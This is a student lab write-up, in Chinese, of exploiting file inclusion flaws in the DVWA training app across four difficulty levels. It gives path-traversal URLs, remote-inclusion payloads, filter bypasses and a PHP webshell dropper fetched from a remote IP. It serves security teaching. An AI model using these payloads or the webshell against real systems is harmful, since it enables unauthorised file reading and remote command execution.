一、进入DVWA测试系统
选择左侧File Inclusion(文件包含)菜单,内容页显示为:
解决方法:进入php.ini,将allow_url_include=Off修改为On即可。
二、实验步骤:
2.1 File Inclusion(Low 级别)
a) 分析文件包含漏洞测试网页
可以看到,文件包含网页上的内容显示:通过点击file1.php或者file2.php或者file3.php文件,然后通过GET请求将选中的文件内容包含并显示出来,显示效果:如点击file.php的效果图
进一步分析:
观察文件包含页面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,将page=include.php 修改为: page=xxx.php,然后访问。
从上图可以看出,由于动态GET请求包含了page = xxx.php这样一个不存在的文件,php解释器曝出了PHP文件包含函数include的Warnning信息,并且该信息暴露了文件的绝对路径,因此在下一步中我们将进一步利用该漏洞
b) 构造URL暴露重要信息
i)获取php.ini的信息
输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini
效果图如下:
可以看到成功读取了php.ini的重要配置信息,当然你也可以试一试读取其他的文件信息,如请读取系统下robots.txt的内容信息,从这个漏洞上可以看出能够导致重要的敏感信息泄露。请尝试探索其他重要的配置信息。
Robots.txt信息:
注意:a)步骤中曝出的路径为:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line 36
因此可以判断:php.ini配置文件在wwww\website\web\DVWA目录下,而我们知道Web网站一般部署到Apache 服务器的WWW 目录下,因此可以通过从WWW文件夹开始算起:用..\来做跳转,所以构造的路径为:..\..\php.ini,可以认为第一个..\ 表示DVWA \,第二个..\表示fi\
ii)访问远程文件
php.ini设置:服务器如在php.ini中将allow_url_fopen与allow_url_include,设置为on 状态即可以使用远程文件,可以是ftp上的文件,也可是网路上其他能访问到的文件。
php.ini设置方法: W 标识 ——> PHP ——>php.ini 通过搜索 allow_url_include变量然后修改其状态,重启W服务器即可。
a)远程包含打印php版本信息的文件
将提前准备好的程序:
<?php phpinfo();?> 保存在1.tt文件中,并将该文件放到dvwa文件夹下,并测试http://www.dvwa.com/1.tt能够正常读取源代码。(请截图显示)
然后在DVWA系统上,URL输入为:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。
b)远程写入木马文件
将提前准备好的一句话木马放到WAMP的www文件夹下,检查下是否能够通过URL访问到,http://www.dvwa.com/muma1.php?cmd=dir
然后将File Inclusion上的URL重新构造:
http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir
这个测试相当于是将已经上传到该主机服务器上的muma1.php文件和该文件包含漏洞相结合进行的漏洞利用。
思考题:
(1)试想下假如没有木马文件在该服务器下,如何取控制呢?能否包含php程序,而这个程序正好执行的时候为写入一句话木马到服务器上?
答:远程包含php文件
(2)请尝试远程包含读取当前服务器版本信息的文件,并执行看效果?
emm,这是我拖了2个文件在老师的服务器上,自己做实验可以拖到虚拟机上。
c)通过文件包含向服务器写入一句话木马文件
提前准备好远程的写一句话木马程序:
$file1 = fopen("shell.php","w");
fputs($file1,'<?php echo shell_exec($_GET["cmd"]);?>');
?>
文件保存为echo.tt,先保证该文件能够正常执行,上述代码的意思是,在当前Web应用的路径下创建文件名为shell.php的文件,文件内容为写入:
现在构造File Inclusion的URL,输入:
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果
注意:文件后缀一定要是tt,这样才能不在远程机执行而且可以在受害机执行。
2.2 File Inclusion(Medium 级别)
a)测试是否具有文件包含漏洞
URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图
b)构造URL利用漏洞
i)获取php.ini信息
URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。
其实这里我们为什么成功,是因为源码没判断这个"\"!
ii)远程包含
http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果
iii)看看源代码(代码审查下)
文件位置:安装目录\vulnerabilities\fi\source\medium.php
通过实验以及源代码可以看到地址栏上直接输入../ 和 http 均会直接被replace为空,使得路径出错,致使无法达到绕过。那么如何构造URL绕过replace方法呢?
提示:是否可以使用绝对路径:如包含的本地文件为:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以将包含的远程连接修改为:hthttp://tp://127.0.0.1/…
绝对路径:
远程路径:
2.3 File Inclusion(High 级别)
a)测试是否具有文件包含漏洞
URL输入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,请描述看到的情况并截图
从上图结果可以看出,在高级别上是做了文件过滤的,那么我们看看源代码:
文件位置:安装路径\vulnerabilities\fi\source\high.php
从代码的判断语句可以看到,包含的文件如果开头不匹配file 和include.php 则会提示file not found。
现在好办了,构造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini
有兴趣的可以完成远程访问的内容(加油!)
2.4 File Inclusion(Impossible 级别)
查看源代码:
可以看出,在高难度级别上做了包含文件的白名单校验,那么针对这种情况,基本上是保障了文件包含的安全性,很难突破了。